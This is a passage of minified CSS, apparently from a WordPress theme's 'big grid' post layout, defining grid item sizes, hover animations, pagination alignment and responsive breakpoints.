5px!important;background:#a2d4af;box-decoration-break:clone;-webkit-box-decoration-break:clone;margin-right:5px}.penci-bgrid-based-post.pcbg-mask-subtitle .cat>a.penci-cat-name:last-child{margin-right:0}.pcbg-mask-meta .pcbg-meta-desc,.pcbg-mask-title .pcbg-title,.penci-bgrid-based-custom.pcbg-mask-subtitle .pcbg-sub-title{display:inline;background:#a2d4af;border:none;padding:0 4px;box-decoration-break:clone;-webkit-box-decoration-break:clone;max-width:99%;transition:background-color .3s,border-color .3s}.pcbg-mask-title .pcbg-title{border-width:3px 10px}.pcbg-mask-meta .pcbg-meta-desc{border-width:2px 8px}.pcbg-content-flex{display:flex;height:100%;width:100%;z-index:1;align-items:flex-end}.pcbg-content-inner{padding:20px;position:relative;z-index:1;display:block;width:100%}.pcbg-content-inner.bgcontent-inline-block{display:inline-block;width:auto}.pcbg-content-inner .pcbg-above{line-height:1;margin-bottom:2px}.pcbg-content-inner .cat>a.penci-cat-name,.pcbg-content-inner .cat>a.penci-cat-name:hover{color:inherit}.penci-bgrid-content-on .pcbg-content-inner .pcbg-sub-title{color:#fff}.penci-biggrid-data .pcbg-content-inner .pcbg-title{font-size:18px}.penci-biggrid-data .pcbg-content-inner .pcbg-title a{font-size:inherit}.penci-biggrid-data.penci-fixh .pcbg-content-inner .pcbg-title{font-size:16px}.penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title{font-size:24px}.penci-biggrid-data .pcbg-content-inner .pcbg-title,.penci-biggrid-data .pcbg-content-inner .pcbg-title a,.penci-biggrid-data .pcbg-content-inner .pcbg-title a:hover{letter-spacing:0;text-decoration:none;margin:0}.penci-bgrid-content-on .pcbg-content-inner .pcbg-title,.penci-bgrid-content-on .pcbg-content-inner .pcbg-title a,.penci-bgrid-content-on .pcbg-content-inner .pcbg-title a:hover{color:#fff}.pcbg-content-inner .pcbg-meta,.post-entry .pcbg-content-inner .pcbg-meta{margin-top:6px;line-height:1.3;font-size:14px}.penci-bgrid-content-on .pcbg-meta,.penci-bgrid-content-on .pcbg-meta span,.penci-bgrid-content-on .pcbg-meta span a{color:#fff}.pcbg-above,.penci-bgrid-based-custom .pcbg-meta{font-size:14px}.penci-bgitem .pcbg-pexcerpt p{color:inherit;line-height:1.5;text-align:inherit}.penci-bgitem .pcbg-pexcerpt p:last-child{margin-bottom:0!important}.pcbg-content-inner .pcbg-meta>div,.post-entry .pcbg-content-inner .pcbg-meta>div{margin-top:10px}.pcbg-content-inner .pcbg-meta>div:first-child,.post-entry .pcbg-content-inner .pcbg-meta>div:first-child{margin-top:0}.penci-bgrid-based-custom .pcbg-sub-title{line-height:1.2;margin-bottom:7px}.penci-bgrid-based-custom .pcbg-sub-title a{color:inherit}.penci-biggrid-data .pcbg-readmore-sec{margin-top:15px}.pcbg-readmore-sec .pcbg-readmorebtn,.pcsl-readmore .pcsl-readmorebtn{padding:10px 15px;font-size:13px;line-height:1;background-color:#efefef;color:#111;position:relative;display:inline-flex;align-items:center;justify-content:center;outline:0;border-width:0;border-style:solid;border-color:transparent;border-radius:0;box-shadow:none;vertical-align:middle;text-align:center;text-decoration:none;text-transform:uppercase;text-shadow:none;letter-spacing:.3px;cursor:pointer;text-decoration:none!important;transition:color .3s ease,background-color .3s ease,border-color .3s ease,box-shadow .3s ease,opacity .3s ease}.pcbg-readmore-sec .pcbg-readmorebtn.pcreadmore-icon-right{flex-direction:row}.pcbg-readmore-sec .pcbg-readmorebtn.pcreadmore-icon-left{flex-direction:row-reverse}.penci-biggrid-data .pcbg-readmore-sec span{color:inherit;font:inherit}.penci-biggrid-data .pcbg-readmore-sec i{font-size:inherit;color:inherit}.pcbg-readmore-sec .pcrm-text{line-height:1}.pcbg-readmore-sec .pcreadmore-icon-right i,.pcbg-readmore-sec .pcreadmore-icon-right svg{margin-left:5px}.pcbg-readmore-sec .pcreadmore-icon-left i,.pcbg-readmore-sec .pcreadmore-icon-left svg{margin-right:5px}.pcbg-thumb .icon-post-format{position:absolute;z-index:2;text-align:center;display:inline-block;width:36px;height:36px;line-height:32px;margin:0;font-size:15px;opacity:1;color:rgba(255,255,255,.9);background:#fff;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;background:rgba(0,0,0,.4);border:2px solid rgba(255,255,255,.9)}.pcbg-thumb .icon-post-format .fa-play{margin-left:2px}.pcbg-thumb .penci-piechart{right:auto;top:auto}.pcbg-ficonpo-top-right .pcbg-thumb .icon-post-format,.pcbg-reiconpo-top-right .pcbg-thumb .penci-piechart{top:20px;right:20px}.pcbg-ficonpo-top-left .pcbg-thumb .icon-post-format,.pcbg-reiconpo-top-left .pcbg-thumb .penci-piechart{top:20px;left:20px}.pcbg-ficonpo-bottom-right .pcbg-thumb .icon-post-format,.pcbg-reiconpo-bottom-right .pcbg-thumb .penci-piechart{bottom:20px;right:20px}.pcbg-ficonpo-bottom-left .pcbg-thumb .icon-post-format,.pcbg-reiconpo-bottom-left .pcbg-thumb .penci-piechart{bottom:20px;left:20px}.pcbg-ficonpo-center .pcbg-thumb .icon-post-format,.pcbg-reiconpo-center .pcbg-thumb .penci-piechart{top:50%;left:50%;margin:-20px 0 0 -20px}.pcbg-reiconpo-center .pcbg-thumb .penci-piechart{margin:-25px 0 0 -25px}.penci-bgitem:hover .icon-post-format{opacity:0;transform:scale(.5);-webkit-transform:scale(.5);-moz-transform:scale(.5)}@media only screen and (max-width:767px){.penci-biggrid-wrapper.hide-mdesc .pcbg-content-inner .pcbg-meta,.penci-biggrid-wrapper.hide-mexcerpt .pcbg-content-inner .pcbg-pexcerpt,.penci-biggrid-wrapper.hide-mreadmorebt .pcbg-content-inner .pcbg-readmore-sec,.penci-biggrid-wrapper.hide-msubtitle .pcbg-content-inner .pcbg-above,.penci-biggrid-wrapper.hide-msubtitle .pcbg-content-inner .pcbg-below{display:none}.pcbg-ficonpo-top-right .pcbg-thumb .icon-post-format,.pcbg-reiconpo-top-right .pcbg-thumb .penci-piechart{top:15px;right:15px}.pcbg-ficonpo-top-left .pcbg-thumb .icon-post-format,.pcbg-reiconpo-top-left .pcbg-thumb .penci-piechart{top:15px;left:15px}.pcbg-ficonpo-bottom-right .pcbg-thumb .icon-post-format,.pcbg-reiconpo-bottom-right .pcbg-thumb .penci-piechart{bottom:15px;right:15px}.pcbg-ficonpo-bottom-left .pcbg-thumb .icon-post-format,.pcbg-reiconpo-bottom-left .pcbg-thumb .penci-piechart{bottom:15px;left:15px}}.penci-biggrid .penci-pagination{margin-bottom:0;margin-top:20px}.penci-bgstyle-1 .penci-pagination,.penci-bgstyle-2 .penci-pagination{margin-top:0}.penci-biggrid .penci-pagination a i{font-size:inherit}.pcbg-thumbin{display:block;margin:-1px;transition:-webkit-transform .5s cubic-bezier(0,0,.42,1.21);transition:transform .5s cubic-bezier(0,0,.42,1.21)}.pencibg-imageh-move-bottom .penci-bgitem .pcbg-thumbin,.pencibg-imageh-move-left .penci-bgitem .pcbg-thumbin,.pencibg-imageh-move-right .penci-bgitem .pcbg-thumbin,.pencibg-imageh-move-top .penci-bgitem .pcbg-thumbin,.pencibg-imageh-zoom-in .penci-bgitem:hover .pcbg-thumbin,.pencibg-imageh-zoom-out .penci-bgitem .pcbg-thumbin{-webkit-transform:scale(1.09);transform:scale(1.09)}.pencibg-imageh-zoom-out .penci-bgitem:hover .pcbg-thumbin{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}.pencibg-imageh-move-left .penci-bgitem .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateX(4%);transform:scale3d(1.1,1.1,1) translateX(4%)}.pencibg-imageh-move-left .penci-bgitem:hover .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateX(-4%);transform:scale3d(1.1,1.1,1) translateX(-4%)}.pencibg-imageh-move-right .penci-bgitem .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateX(-4%);transform:scale3d(1.1,1.1,1) translateX(-4%)}.pencibg-imageh-move-right .penci-bgitem:hover .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateX(4%);transform:scale3d(1.1,1.1,1) translateX(4%)}.pencibg-imageh-move-top .penci-bgitem .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateY(4%);transform:scale3d(1.1,1.1,1) translateY(4%)}.pencibg-imageh-move-top .penci-bgitem:hover .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateY(-4%);transform:scale3d(1.1,1.1,1) translateY(-4%)}.pencibg-imageh-move-bottom .penci-bgitem .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateY(-4%);transform:scale3d(1.1,1.1,1) translateY(-4%)}.pencibg-imageh-move-bottom .penci-bgitem:hover .pcbg-thumbin{-webkit-transform:scale3d(1.1,1.1,1) translateY(4%);transform:scale3d(1.1,1.1,1) translateY(4%)}.textop .pcbg-content-inner>div:nth-of-type(1){transition-delay:50ms}.textop .pcbg-content-inner>div:nth-of-type(2){transition-delay:.1s}.textop .pcbg-content-inner>div:nth-of-type(3){transition-delay:.15s}.textop .pcbg-content-inner>div:nth-of-type(4){transition-delay:.2s}.pencibg-texth-show-in.textop .item-hover{opacity:0;visibility:hidden;transition:transform .2s ease-in-out,opacity .2s ease-in-out}.pencibg-texth-show-in.textop.pencibg-textani-movetop .item-hover{transform:translateY(15px);-webkit-transform:translateY(15px)}.pencibg-texth-show-in.textop.pencibg-textani-movebottom .item-hover{transform:translateY(-15px);-webkit-transform:translateY(-15px)}.pencibg-texth-show-in.textop.pencibg-textani-moveleft .item-hover{transform:translateX(15px);-webkit-transform:translateX(15px)}.pencibg-texth-show-in.textop.pencibg-textani-moveright .item-hover{transform:translateX(-15px);-webkit-transform:translateX(-15px)}.pencibg-texth-show-in.textop .penci-bgitem:hover .item-hover{opacity:1;visibility:visible;transform:translate(0,0);-webkit-transform:translate(0,0)}.pencibg-texth-hide-in.textop .item-hover{opacity:1;transition:transform .2s ease-in-out,opacity .2s ease-in-out,visibility .2s ease-in-out;transform:translate(0,0);-webkit-transform:translate(0,0);visibility:visible}.pencibg-texth-hide-in.textop.pencibg-textani-movetop .penci-bgitem:hover .item-hover{transform:translateY(-15px);-webkit-transform:translateY(-15px)}.pencibg-texth-hide-in.textop.pencibg-textani-movebottom .penci-bgitem:hover .item-hover{transform:translateY(15px);-webkit-transform:translateY(15px)}.pencibg-texth-hide-in.textop.pencibg-textani-moveleft .penci-bgitem:hover .item-hover{transform:translateX(-15px);-webkit-transform:translateX(-15px)}.pencibg-texth-hide-in.textop.pencibg-textani-moveright .penci-bgitem:hover .item-hover{transform:translateX(15px);-webkit-transform:translateX(15px)}.pencibg-texth-hide-in.textop .penci-bgitem:hover .item-hover{opacity:0;visibility:hidden}.pencibg-texth-show-in.notextop .pcbg-content-inner{opacity:0;transition:opacity .2s ease-in-out,transform .2s ease-in-out}.pencibg-texth-show-in.pencibg-textani-zoomin .pcbg-content-inner{transform:scale(.8);-webkit-transform:scale(.8)}.pencibg-texth-show-in.pencibg-textani-zoomout .pcbg-content-inner{transform:scale(1.2);-webkit-transform:scale(1.2)}.pencibg-texth-show-in.notextop .penci-bgitem:hover .pcbg-content-inner{opacity:1;transform:scale(1);-webkit-transform:scale(1)}.pencibg-texth-hide-in.notextop .pcbg-content-inner{opacity:1;transition:opacity .2s ease-in-out,transform .2s ease-in-out;transform:scale(1);-webkit-transform:scale(1)}.pencibg-texth-hide-in.pencibg-textani-zoomin .penci-bgitem:hover .pcbg-content-inner{opacity:0;transform:scale(1.2);-webkit-transform:scale(1.2)}.pencibg-texth-hide-in.pencibg-textani-zoomout .penci-bgitem:hover .pcbg-content-inner{opacity:0;transform:scale(.8);-webkit-transform:scale(.8)}.pencibg-texth-hide-in.pencibg-textani-fade .penci-bgitem:hover .pcbg-content-inner{opacity:0}.penci-biggrid-wrapper.pcbg-titles-visible .pcbg-heading.item-hover{opacity:1!important;visibility:visible!important}.penci-bgstyle-2 .penci-biggrid-data{margin-left:-10px;margin-right:-10px}.penci-bgstyle-2 .item-masonry{width:33.3333%;float:left;display:block;padding-left:10px;padding-right:10px;margin-bottom:20px}.penci-bgstyle-2 .penci-image-holder:before{content:none}.penci-grid-col-1 .penci-bgstyle-2 .item-masonry{width:100%}.penci-grid-col-2 .penci-bgstyle-2 .item-masonry{width:50%}.penci-grid-col-4 .penci-bgstyle-2 .item-masonry{width:25%}.penci-grid-col-5 .penci-bgstyle-2 .item-masonry{width:20%}.penci-grid-col-6 .penci-bgstyle-2 .item-masonry{width:16.666666%}.penci-fixh{display:block}.penci-fixh .pcbg-thumb,.penci-fixh .pcbg-thumbin,.penci-fixh .penci-bgitin,.penci-fixh .penci-bgmain,.penci-fixh .penci-image-holder{height:100%}.penci-fixh .penci-image-holder:before{content:none;padding-top:0}.penci-fixh .penci-bgitem{margin-right:var(--pcgap);margin-bottom:var(--pcgap);float:left}.penci-pagination.pcbg-paging-align-center.penci-ajax-more a.penci-ajax-more-button{margin-right:auto;margin-left:auto}.penci-pagination.pcbg-paging-align-right.penci-ajax-more a.penci-ajax-more-button{margin-left:auto;margin-right:0}.penci-pagination.pcbg-paging-align-left.penci-ajax-more a.penci-ajax-more-button{margin-right:auto;margin-left:0}.penci-bgstyle-3 .penci-fixh{--bgh:500px}.penci-bgstyle-3 .penci-fixh .penci-bgitem{width:33.33333%;height:calc(var(--bgh)/ 2 - var(--pcgap)/ 2);margin-right:0}.penci-bgstyle-3 .penci-fixh .bgitem-1{width:calc(66.66667% - var(--pcgap));height:var(--bgh);margin-right:var(--pcgap)}.penci-bgstyle-4 .penci-fixh{--bgh:460px}.penci-bgstyle-4 .penci-fixh .penci-bgitem{width:calc(25% - var(--pcgap)/ 2);height:calc(var(--bgh)/ 2 - var(--pcgap)/ 2)}.penci-bgstyle-4 .penci-fixh .bgitem-1{width:calc(50% - var(--pcgap));height:var(--bgh)}.penci-bgstyle-4 .penci-fixh .bgitem-0,.penci-bgstyle-4 .penci-fixh .bgitem-3{margin-right:0}.penci-bgstyle-5 .penci-fixh{--bgh:400px}.penci-bgstyle-5 .penci-fixh .penci-bgitem{width:calc(25% - var(--pcgap)/ 2);height:var(--bgh)}.penci-bgstyle-5 .penci-fixh .bgitem-1{width:calc(50% - var(--pcgap))}.penci-bgstyle-5 .penci-fixh .bgitem-0{margin-right:0}.penci-bgstyle-6 .penci-fixh{--bgh:460px;display:flex;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;max-height:var(--bgh)}.penci-bgstyle-6 .penci-fixh:after,.penci-bgstyle-6 .penci-fixh:before{content:none}.penci-bgstyle-6 .penci-fixh .penci-bgitem{height:calc(var(--bgh)/ 2 - var(--pcgap));width:calc(25% - var(--pcgap));order:1}.penci-bgstyle-6 .penci-fixh .bgitem-1{width:50%;height:var(--bgh);order:2}.penci-bgstyle-6 .penci-fixh .bgitem-0,.penci-bgstyle-6 .penci-fixh .bgitem-4{margin-right:0}.penci-bgstyle-6 .penci-fixh .bgitem-0,.penci-bgstyle-6 .penci-fixh .bgitem-4{order:3}.penci-bgstyle-7 .penci-fixh{--bgh:460px}.penci-bgstyle-7 .penci-fixh .penci-bgitem{height:calc(var(--bgh)/ 2 - var(--pcgap)/ 2);width:calc(25% - var(--pcgap)/ 2)}.penci-bgstyle-7 .penci-fixh .bgitem-1{width:calc(50% - var(--pcgap));height:var(--bgh)}.penci-bgstyle-7 .penci-fixh .bgitem-2{width:50%}.penci-bgstyle-7 .penci-fixh .bgitem-0,.penci-bgstyle-7 .penci-fixh .bgitem-2{margin-right:0}.penci-bgstyle-8 .penci-fixh{--bgh:460px}.penci-bgstyle-8 .penci-fixh .penci-bgitem{width:calc(38% - var(--pcgap)/ 2);height:calc(var(--bgh)/ 3 - var(--pcgap));margin-right:0}.penci-bgstyle-8 .penci-fixh .bgitem-1{width:calc(62% - var(--pcgap)/ 2);height:var(--bgh);margin-right:var(--pcgap)}.penci-bgstyle-8 .penci-fixh .bgitem-2{height:calc(var(--bgh)/ 3)}.penci-bgstyle-10 .penci-fixh,.penci-bgstyle-9 .penci-fixh{--bgh:250px}.penci-bgstyle-10 .penci-fixh .penci-bgitem,.penci-bgstyle-9 .penci-fixh .penci-bgitem{width:calc((100% - 2 * var(--pcgap))/ 3);height:var(--bgh)}.penci-bgstyle-10 .penci-fixh .bgitem-0,.penci-bgstyle-10 .penci-fixh .bgitem-4,.penci-bgstyle-9 .penci-fixh .bgitem-1,.penci-bgstyle-9 .penci-fixh .bgitem-2{width:calc(50% - var(--pcgap)/ 2);height:calc(var(--bgh) * 1.5)}.penci-bgstyle-10 .penci-fixh .bgitem-0,.penci-bgstyle-10 .penci-fixh .bgitem-3,.penci-bgstyle-9 .penci-fixh .bgitem-0,.penci-bgstyle-9 .penci-fixh .bgitem-2{margin-right:0}.penci-bgstyle-11 .penci-fixh{--bgh:400px}.penci-bgstyle-11 .penci-fixh .penci-bgitem{width:40%;height:calc(var(--bgh)/ 2 - var(--pcgap)/ 2)}.penci-bgstyle-11 .penci-fixh .bgitem-1,.penci-bgstyle-11 .penci-fixh .bgitem-2{width:calc(30% - var(--pcgap));height:var(--bgh)}.penci-bgstyle-11 .penci-fixh .bgitem-0,.penci-bgstyle-11 .penci-fixh .bgitem-3{margin-right:0}.penci-bgstyle-12 .penci-fixh{--bgh:400px}.penci-bgstyle-12 .penci-fixh .penci-bgitem{width:calc(25% - var(--pcgap));height:calc(var(--bgh)/ 2 - var(--pcgap)/ 2)}.penci-bgstyle-12 .penci-fixh .bgitem-1{width:50%;height:var(--bgh)}.penci-bgstyle-12 .penci-fixh .bgitem-2{height:var(--bgh)}.penci-bgstyle-12 .penci-fixh .bgitem-0,.penci-bgstyle-12 .penci-fixh .bgitem-3{margin-right:0}.penci-bgstyle-13 .penci-fixh{--bgh:600px}.penci-bgstyle-13 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);height:calc(var(--bgh)/ 2);margin-right:0}.penci-bgstyle-13 .penci-fixh .bgitem-1{width:100%;height:var(--bgh)}.penci-bgstyle-13 .penci-fixh .bgitem-2{margin-right:var(--pcgap)}.penci-bgstyle-14 .penci-fixh{--bgh:660px}.penci-bgstyle-14 .penci-fixh .penci-bgitem{width:calc((100% - 2 * var(--pcgap))/ 3);height:calc(var(--bgh)/ 3)}.penci-bgstyle-14 .penci-fixh .bgitem-1{width:100%;height:var(--bgh)}.penci-bgstyle-14 .penci-fixh .bgitem-0,.penci-bgstyle-14 .penci-fixh .bgitem-1{margin-right:0}.penci-bgstyle-15 .penci-fixh{--bgh:500px}.penci-bgstyle-15 .penci-fixh .penci-bgitem{width:calc((100% - 2 * var(--pcgap))/ 3);height:calc(var(--bgh)/ 2 - var(--pcgap)/ 2)}.penci-bgstyle-15 .penci-fixh .bgitem-1{width:calc(100% - (100% - 2 * var(--pcgap))/ 3 - var(--pcgap));height:var(--bgh)}.penci-bgstyle-15 .penci-fixh .bgitem-0,.penci-bgstyle-15 .penci-fixh .bgitem-2,.penci-bgstyle-15 .penci-fixh .bgitem-3{margin-right:0}.penci-bgstyle-16 .penci-fixh{--bgh:300px}.penci-bgstyle-16 .penci-fixh .penci-bgitem{width:calc(44% - var(--pcgap)/ 2);height:var(--bgh)}.penci-bgstyle-16 .penci-fixh .bgitem-0,.penci-bgstyle-16 .penci-fixh .bgitem-1{width:calc(56% - var(--pcgap)/ 2)}.penci-bgstyle-16 .penci-fixh .bgitem-0,.penci-bgstyle-16 .penci-fixh .bgitem-2{margin-right:0}.penci-bgstyle-17 .penci-fixh{--bgh:400px;display:flex;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;margin-right:0}.penci-bgstyle-17 .penci-fixh{--bgh:400px}.penci-bgstyle-17 .penci-fixh .penci-bgitem{width:calc(25% - var(--pcgap)/ 2);height:var(--bgh);order:2}.penci-bgstyle-17 .penci-fixh .bgitem-1{width:calc(50% - var(--pcgap));order:3}.penci-bgstyle-17 .penci-fixh .bgitem-0{margin-right:0;order:4}.penci-bgstyle-18 .penci-fixh{--bgh:560px}.penci-bgstyle-18 .penci-fixh .penci-bgitem{width:calc(35% - var(--pcgap)/ 2);height:var(--bgh)}.penci-bgstyle-18 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-1{width:calc(65% - var(--pcgap)/ 2)}.penci-bgstyle-18 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-3{height:calc(var(--bgh) * .6)}.penci-bgstyle-18 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-2{margin-right:0}.penci-bgstyle-19 .penci-fixh,.penci-bgstyle-20 .penci-fixh,.penci-bgstyle-21 .penci-fixh,.penci-bgstyle-22 .penci-fixh{--bgh:250px;margin-left:calc(var(--pcgap) * -1 / 2);margin-right:calc(var(--pcgap) * -1 / 2)}.penci-bgstyle-19 .penci-fixh .penci-bgitem,.penci-bgstyle-20 .penci-fixh .penci-bgitem{width:calc(33.3333% - var(--pcgap));height:var(--bgh);margin-left:calc(var(--pcgap)/ 2);margin-right:calc(var(--pcgap)/ 2)}.penci-bgstyle-19 .penci-fixh .bgitem-3,.penci-bgstyle-20 .penci-fixh .bgitem-1{height:calc(2 * var(--bgh) + var(--pcgap));float:right}.penci-bgstyle-19 .penci-fixh .bgitem-0,.penci-bgstyle-20 .penci-fixh .bgitem-6{width:calc(66.6667% - var(--pcgap))}.penci-bgstyle-20 .penci-fixh .bgitem-1{float:left}.penci-bgstyle-21 .penci-fixh .penci-bgitem,.penci-bgstyle-22 .penci-fixh .penci-bgitem{float:left;width:calc(25% - var(--pcgap));height:calc(var(--bgh) * 3 / 4);margin-left:calc(var(--pcgap)/ 2);margin-right:calc(var(--pcgap)/ 2)}.penci-bgstyle-21 .penci-fixh .pcbg-big-item,.penci-bgstyle-22 .penci-fixh .pcbg-big-item{width:calc(33.3333% - var(--pcgap));height:var(--bgh)}@media screen and (max-width:960px){.penci-bgstyle-3 .penci-fixh{--bgh:460px}.penci-bgstyle-3 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);margin-right:var(--pcgap)}.penci-bgstyle-3 .penci-fixh .bgitem-0{margin-right:0}.penci-bgstyle-3 .penci-fixh .bgitem-1{width:100%;margin-right:0}.penci-bgstyle-4 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2)}.penci-bgstyle-4 .penci-fixh .bgitem-1{width:100%}.penci-bgstyle-5 .penci-fixh{--bgh:500px}.penci-bgstyle-5 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);height:calc(var(--bgh) * .8)}.penci-bgstyle-5 .penci-fixh .bgitem-1{width:100%;height:var(--bgh)}.penci-bgstyle-6 .penci-fixh{--bgh:500px;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;max-height:none}.penci-bgstyle-6 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);height:calc(var(--bgh)/ 2)}.penci-bgstyle-6 .penci-fixh .bgitem-1{width:100%;height:var(--bgh);margin-right:0}.penci-bgstyle-6 .penci-fixh .bgitem-4{margin-right:var(--pcgap)}.penci-bgstyle-6 .penci-fixh .bgitem-0,.penci-bgstyle-6 .penci-fixh .bgitem-3{margin-right:0}.penci-bgstyle-7 .penci-fixh .penci-bgitem{height:calc(var(--bgh)/ 2);width:calc(50% - var(--pcgap)/ 2);margin-right:0}.penci-bgstyle-7 .penci-fixh .bgitem-1{width:100%;height:var(--bgh)}.penci-bgstyle-7 .penci-fixh .bgitem-2{width:100%}.penci-bgstyle-7 .penci-fixh .bgitem-3{margin-right:var(--pcgap)}.penci-bgstyle-8 .penci-fixh{--bgh:460px}.penci-bgstyle-8 .penci-fixh .penci-bgitem{width:100%;height:calc(var(--bgh)/ 2)}.penci-bgstyle-8 .penci-fixh .bgitem-1{width:100%;margin-right:0;height:var(--bgh)}.penci-bgstyle-10 .penci-fixh,.penci-bgstyle-9 .penci-fixh{--bgh:460px}.penci-bgstyle-10 .penci-fixh .penci-bgitem,.penci-bgstyle-9 .penci-fixh .penci-bgitem{width:100%;height:var(--bgh);margin-right:0}.penci-bgstyle-10 .penci-fixh .bgitem-0,.penci-bgstyle-10 .penci-fixh .bgitem-4,.penci-bgstyle-9 .penci-fixh .bgitem-1,.penci-bgstyle-9 .penci-fixh .bgitem-2{width:calc(50% - var(--pcgap)/ 2);height:calc(var(--bgh)/ 2)}.penci-bgstyle-10 .penci-fixh .bgitem-4,.penci-bgstyle-9 .penci-fixh .bgitem-1{margin-right:var(--pcgap)}.penci-bgstyle-11 .penci-fixh,.penci-bgstyle-14 .penci-fixh,.penci-bgstyle-15 .penci-fixh{--bgh:250px}.penci-bgstyle-11 .penci-fixh .penci-bgitem,.penci-bgstyle-14 .penci-fixh .penci-bgitem,.penci-bgstyle-15 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);height:var(--bgh);margin-right:var(--pcgap)}.penci-bgstyle-11 .penci-fixh .bgitem-0,.penci-bgstyle-11 .penci-fixh .bgitem-2,.penci-bgstyle-14 .penci-fixh .bgitem-0,.penci-bgstyle-14 .penci-fixh .bgitem-2,.penci-bgstyle-15 .penci-fixh .bgitem-0,.penci-bgstyle-15 .penci-fixh .bgitem-2,.penci-bgstyle-15 .penci-fixh .bgitem-4{margin-right:0}.penci-bgstyle-12 .penci-fixh{--bgh:460px}.penci-bgstyle-12 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);margin-right:0}.penci-bgstyle-12 .penci-fixh .bgitem-1{width:100%}.penci-bgstyle-12 .penci-fixh .bgitem-2{margin-right:var(--pcgap)}.penci-bgstyle-12 .penci-fixh .bgitem-0,.penci-bgstyle-12 .penci-fixh .bgitem-3{margin-right:0}.penci-bgstyle-13 .penci-fixh{--bgh:460px}.penci-bgstyle-16 .penci-fixh{--bgh:200px}.penci-bgstyle-17 .penci-fixh{--bgh:500px;display:flex;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:0}.penci-bgstyle-17 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap)/ 2);height:calc(var(--bgh) * .8)}.penci-bgstyle-17 .penci-fixh .bgitem-1{width:100%;height:var(--bgh);margin-right:0;order:1}.penci-bgstyle-18 .penci-fixh .penci-bgitem{width:calc(45% - var(--pcgap)/ 2)}.penci-bgstyle-18 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-1{width:calc(55% - var(--pcgap)/ 2)}.penci-bgstyle-18 .penci-fixh .bgitem-0,.penci-bgstyle-18 .penci-fixh .bgitem-3{height:calc(var(--bgh) * .8)}.penci-bgstyle-18 .penci-fixh{--bgh:300px}.penci-bgstyle-19 .penci-fixh .bgitem-0,.penci-bgstyle-19 .penci-fixh .penci-bgitem,.penci-bgstyle-20 .penci-fixh .bgitem-6,.penci-bgstyle-20 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap))}.penci-bgstyle-19 .penci-fixh .bgitem-3,.penci-bgstyle-20 .penci-fixh .bgitem-1{width:calc(100% + var(--pcgap))}.penci-bgstyle-21 .penci-fixh .penci-bgitem,.penci-bgstyle-22 .penci-fixh .penci-bgitem{width:calc(50% - var(--pcgap));height:var(--bgh)}.penci-bgstyle-21 .penci-fixh .bgitem-1,.penci-bgstyle-22 .penci-fixh .bgitem-1{height:calc(var(--bgh) * 2);width:calc(100% + var(--pcgap))}}@media screen and (max-width:767px){.penci-bgstyle-3 .penci-fixh,.penci-bgstyle-8 .penci-fixh{--bgh:320px}.penci-bgstyle-4 .penci-fixh,.penci-bgstyle-6 .penci-fixh{--bgh:380px}.penci-bgstyle-7 .penci-fixh{--bgh:400px}.penci-bgstyle-11 .penci-fixh,.penci-bgstyle-14 .penci-fixh,.penci-bgstyle-15 .penci-fixh,.penci-bgstyle-16 .penci-fixh,.penci-bgstyle-19 .penci-fixh,.penci-bgstyle-20 .penci-fixh,.penci-bgstyle-21 .penci-fixh,.penci-bgstyle-22 .penci-fixh{--bgh:190px}.penci-bgstyle-10 .penci-fixh,.penci-bgstyle-12 .penci-fixh,.penci-bgstyle-13 .penci-fixh,.penci-bgstyle-17 .penci-fixh,.penci-bgstyle-5 .penci-fixh,.penci-bgstyle-9 .penci-fixh{--bgh:300px}.penci-bgstyle-10 .penci-fixh .bgitem-0,.penci-bgstyle-10 .penci-fixh .bgitem-4,.penci-bgstyle-9 .penci-fixh .bgitem-1,.penci-bgstyle-9 .penci-fixh .bgitem-2{width:100%;height:var(--bgh);margin-right:0}.penci-bgstyle-18 .penci-fixh{--bgh:240px}.penci-bgrid-monecol .penci-fixh .penci-bgitem{margin-right:0!important;margin-left:0!important;width:100%!important}.penci-bgrid-monecol .penci-fixh{margin-left:0!important;margin-right:0!important}.penci-bgrid-monecol .penci-bgstyle-11 .penci-fixh .penci-bgitem,.penci-bgrid-monecol .penci-bgstyle-13 .penci-fixh .penci-bgitem,.penci-bgrid-monecol .penci-bgstyle-14 .penci-fixh .penci-bgitem,.penci-bgrid-monecol .penci-bgstyle-15 .penci-fixh .penci-bgitem,.penci-bgrid-monecol .penci-bgstyle-3 .penci-fixh .penci-bgitem,.penci-bgrid-monecol .penci-bgstyle-4 .penci-fixh .penci-bgitem,.penci-bgrid-monecol .penci-bgstyle-6 .penci-fixh .penci-bgitem{height:var(--bgh)}.penci-bgrid-msameh .penci-fixh .penci-bgitem{height:var(--bgh)!important}.pcbg-content-inner{padding:15px}}.pcbg-verbd .penci-dflex 